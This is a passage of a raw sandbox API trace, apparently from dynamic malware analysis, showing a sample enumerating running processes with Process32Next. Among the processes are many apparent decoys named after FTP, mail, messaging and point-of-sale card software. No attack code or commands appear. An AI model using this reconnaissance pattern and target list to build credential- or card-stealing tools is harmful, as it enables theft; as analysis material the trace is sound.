lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.667] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.669] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.671] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.672] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.674] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0096.676] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.678] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.680] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0096.683] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0096.686] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0096.688] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.711] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0096.713] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0096.715] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0096.717] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.719] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.720] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0096.722] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.724] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0096.726] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.728] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0096.730] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0096.731] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0096.733] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0096.735] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0096.737] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0096.739] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0096.740] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0096.742] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0096.744] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0096.746] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0096.748] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0096.750] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0096.751] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0096.753] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0096.755] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0096.758] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0096.760] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0096.762] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0096.765] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0096.767] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0096.771] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0096.773] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0096.776] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0096.779] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0096.781] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0096.783] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0096.786] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0096.788] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0096.790] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0096.793] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0096.796] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0096.798] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0096.801] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0096.804] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0096.806] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0096.808] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0096.811] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0096.814] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0096.833] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0096.836] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0096.838] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0096.840] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0096.843] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0096.845] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0096.846] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0096.848] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0096.850] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0096.852] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0096.855] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0096.857] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0096.859] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0096.863] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0096.865] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0096.867] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0096.869] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0096.872] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0096.874] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0096.876] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0096.878] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0096.880] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0096.882] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0096.885] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: 